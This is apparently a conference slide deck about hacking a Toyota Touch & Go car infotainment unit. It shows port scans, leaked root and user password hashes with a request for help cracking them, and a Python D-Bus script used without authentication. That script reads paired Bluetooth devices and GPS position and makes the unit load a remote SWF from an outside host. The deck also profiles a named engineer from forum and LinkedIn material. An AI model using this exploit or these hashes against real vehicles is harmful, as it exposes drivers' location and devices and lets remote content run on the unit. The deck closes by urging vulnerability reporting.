# Happy Hacking

## Having fun with Toyota Avensis

# Toyota Touch & Go

# Toyota Touch & Go

- Integrated navigation
- Radio
- Phone calls via bluetooth
- Music via bluetooth and USB
- Pohotos via USB

# Toyota Touch & Go

- Google local search
- Local gasoline prices
- Internet access via bluetooth

# Toyota touch & Go

nmap -run:

```
NSE: Script scanning 192.168.2.6.
Initiating NSE at 15:16
Completed NSE at 15:17, 16.12s elapsed
Nmap scan report for 192.168.2.6
Host is up (0.012s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE   VERSION
23/tcp    open  telnet    Openwall GNU/*/Linux telnetd
851/tcp   open  unknown
2021/tcp  open  servexec?
6020/tcp  open  unknown
6667/tcp  open  irc?
|_irc-info: Unable to open connection
51500/tcp open  unknown
```

# Telnet

```
$ telnet 172.20.10.6
Trying 172.20.10.6...
Connected to 172.20.10.6
Escape character is '^]'.


QNX Neutrino (localhost) (ttyp0)

login:
```

# Telnet

```
$ telnet 172.20.10.6
Trying 172.20.10.6...
Connected to 172.20.10.6
Escape character is '^]'.


QNX Neutrino (localhost) (ttyp0)

login:
```

No accounts. No fun

# Telnet

```
$ telnet 172.20.10.6
Trying 172.20.10.6...
Connected to 172.20.10.6
Escape character is '^]'.


QNX Neutrino (localhost) (ttyp0)

login:
```

No accounts. No fun

```
root:C9v0PdmoRiQ9.:1303406650
toyota:QQkI3zYSmefdc
```

If you have crunching power
You can help us.

# Port 851

- Generic log dumper

```
$ nc 192.168.2.6 851
åGåLåLMar 18 14:56:00.050        5 00008 300 io-winmgr: starting up...
Mar 18 14:56:00.177        5 10000 00 Service
com.harman.service.ToyotaMGR just appeared at time 7.200323 seconds
Mar 18 14:56:00.276        5 00008 300 io-winmgr: attached to iow-
keyboard
Mar 18 14:56:00.335        5 10000 00 pid 340019: Binary persistence for
'TM' is empty.
Mar 18 14:56:00.500        5 00008 300 io-winmgr: no mouse
Mar 18 14:56:00.507        5 00008 300 io-winmgr: attached to iow-touch
Mar 18 14:56:00.697        5 00008 300 io-winmgr: no control
Mar 18 14:56:00.840        5 10000 00 pid 458795: Binary persistence for
'HMI' is empty.
...
```

# Port 2021

- Bluetooth logs

```
$ nc 172.20.10.6 2021
<GCF  000163 TS_10_0001081726>CTRL INFO IOFSMediaBT
MSG='iofsmediabt_devctl(1617) DCMD_MEDIA_PLAYBACK_STATUS playstate: 2,
speed: 0, playstate_flags: 0, trk_curr: 0, trk_total: 27, skipped: 2';
<GCF  000163 TS_10_0001082328>CTRL INFO IOFSMediaBT
MSG='iofsmediabt_devctl(1617) DCMD_MEDIA_PLAYBACK_STATUS playstate: 2,
speed: 0, playstate_flags: 0, trk_curr: 0, trk_total: 27, skipped: 2';
<GCF  000082 TS_10_0001082381>CALL Bluephone:507 BSS_HFP_Write handle=1
codec=CODEC_HEX data='41542B434C43430D';
<GCF  000055 TS_10_0001082382>CTRL INFO BSSService MSG='received event
ET_DATA_SENT';
<GCF  000056 TS_10_0001082383>RESP Bluephone:507 BSS_HFP_Write
error=WRITE_ERROR_NONE;
<GCF  000059 TS_10_0001082417>CTRL INFO BSSService MSG='received event
ET_DATA_RECEIVED';
```

# Port 6020

- No idea what this is.

```
$ nc 192.168.2.6 6020
:CTRL CNFG GCFROUTER MODE=STANDARD;
```

# Port 6667

- IRC WTF?

O_o

# Port 6667

- No results with NC

# Port 6667

- Telnet did the trick:

```
$ telnet 192.168.2.4 6667
Trying 192.168.2.4...
Connected to 192.168.2.4.
Escape character is '^]'.
foo
ERROR "Unknown command"
```

# Port 6667

- Not too easy to Google more information

```
$ telnet 192.168.2.4 6667
Trying 192.168.2.4...
Connected to 192.168.2.4.
Escape character is '^]'.
foo
ERROR "Unknown command"
```

# Port 6667

Glenn Schmottlach
04/07/2010 3:26 PM
post51302

**Bug in IDE 4.6 setting environment variable in Debug Configuration**

I've discovered a bug in IDE 4.6 (Build id: I20090510). It involves setting environment variables for a Debug Configuration (e.g. "Environment" tab). It appears the "Value" entry is limited to 126 characters. If more characters are entered then a double-quote (") is appended to the end of the environment variable that is appended to the target's environment.

For example:

Variable:
DBUS_SESSION_BUS_ADDRESS

Value:
unix:path=/tmp/dbus-MNzOp3X3nV,guid=e21d288fe52bc59a6d8e19c04bbccfd0;tcp:host=localhost,port=6667,family=ipv4,guid=1b1a12b5fa8e657b3fd2d05b4bbccfd0

# Port 6667

Enviromental variable:

```
unix:path=/tmp/dbus-
MNzOp3X3nV,guid=e21d288fe52bc59a6d8e19c04bbccfd0
;tcp:host=localhost,port=6667,family=ipv4,guid=
1b1a12b5fa8e657b3fd2d05b4bbccfd0
```

# Port 5010

- Close the socket right after first packets

# Port 6667

Glenn Schmottlach
04/07/2010 3:26 PM
post51302

**Bug**

I've
Con
are
env

GUA

# Port 6667

Glenn Schmottlach

Bug

# Glenn Schmottlach

Senior Systems Engineer / Architect at XS embedded

Greater Detroit Area | Automotive

Current Principal Software Engineer at XS embedded

Previous Harman Automotive, Communications

Education BSCEE, MSEE, Com

Send InMail

**Harman/Becker Automotive Systems**

Harman Becker Automotive Systems, Inc. designs and manufactures audio and infotainment systems for the automotive original equipment manufacturers. It has manufacturing facilities in Martinsville, ... More »

# Port 6667

Glenn Schmottlach

Bug

Glenn Schmottlach

Senior Systems Engineer / Architect at XS embedded

Greater Detroit Area | Automotive

Current Principal Software Engineer at XS embedded

Previous Harman Automotive, Communications

Harman/Becker Automotive

D-Bus Platform Support - Ported and adapted D-Bus to QNX where it serves as the primary application IPC mechanism for mid-tier head unit designs. Includes developing an alternative JSON based messaging protocol on top of D-Bus.

# Port 6667

Schmottlach, Glenn | 1 Feb 22:17

RE: Anonymous auth method is broken

I have a reference dbus-daemon implementation that does 99.9% of what I want it to do. The 0.1% that is missing is being able to TCP/IP into the daemon. I'd rather not write a completely new daemon to implement this functionality. **It's unfortunate that this feature could not be added but disabled by default (via the configuration file) to eliminate the obvious security hole.** I'm sure I wouldn't be the only embedded developer who would appreciate this feature on the reference implementation.

# Port 6667 (D-Bus)

Toggle line numbers

```
1  import sys
2  import dbus
3
4  def main(service, method, args):
5      bus = dbus.bus.BusConnection("tcp:host=192.168.2.3,port=6667")
6      p = bus.get_object(service, "/" + service.replace(".", "/"))
7      i = dbus.Interface(p, dbus_interface="com.harman.ServiceIpc")
8      print "calling %s(%s)" % (method, args)
9      print i.Invoke(method, args)
10
11 if __name__ == "__main__":
12     main(*sys.argv[1:])
```

# Port 6667 (D-Bus)

```
machine% python toyota.py com.harman.service.BluetoothService
getPairedDeviceList ''
{"pairedDeviceList":[{"serviceSearchList":
[{"service":"A2DP_SOURCE","priority":0,"connected":false},
{"service":"HFPGW","priority":1,"connected":true},
{"service":"HSPGW","priority":0,"connected":false},
{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":
0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},
{"service":"AVRCP","priority":0,"connected":false},
{"service":"SPP","priority":0,"connected":false},
{"service":"PAN_GN","priority":0,"connected":false},
{"service":"SDP","priority":
0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},
{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},
{"service":"A2DP_SOURCE","priority":0,"connected":false},
{"service":"DID","priority":0,"connected":false},
{"service":"AVRCP","priority":0,"connected":false},
{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":
0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},
{"service":"OPP_SERVER","priority":0,"connected":false},
...
```

# Port 6667 (D-Bus)

```
machine% python toyota-cmd.py com.harman.service.Navigation
MAP_PositionInfo ''
calling MAP_PositionInfo()
{"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null}
```

# Port 6667 (D-Bus)

```
com.harman.service.HMIService loadExternalSWF '{ "path":"file://
<something>" }'
```

# Video

# Port 6667 (D-Bus)

```
machine% python toyota-cmd.py com.harman.service.HMIService
loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }'
calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" })
{"result":true}
```

# Wrapping up

- Share the information as early as possible
- Report vulnerabilities
- Have fun

# Thank you!

Special thanks to: Wilho, ms and fenris

## Contact:

- Twitter: Turmio_
- IRC: Turmio@IRCnet
- e-mail: mikko.kenttala@iki.fi
- http://www.happyhacking.org/
- Notes in Tarlab -wiki: https://www.jkry.org/ouluhack/Projektit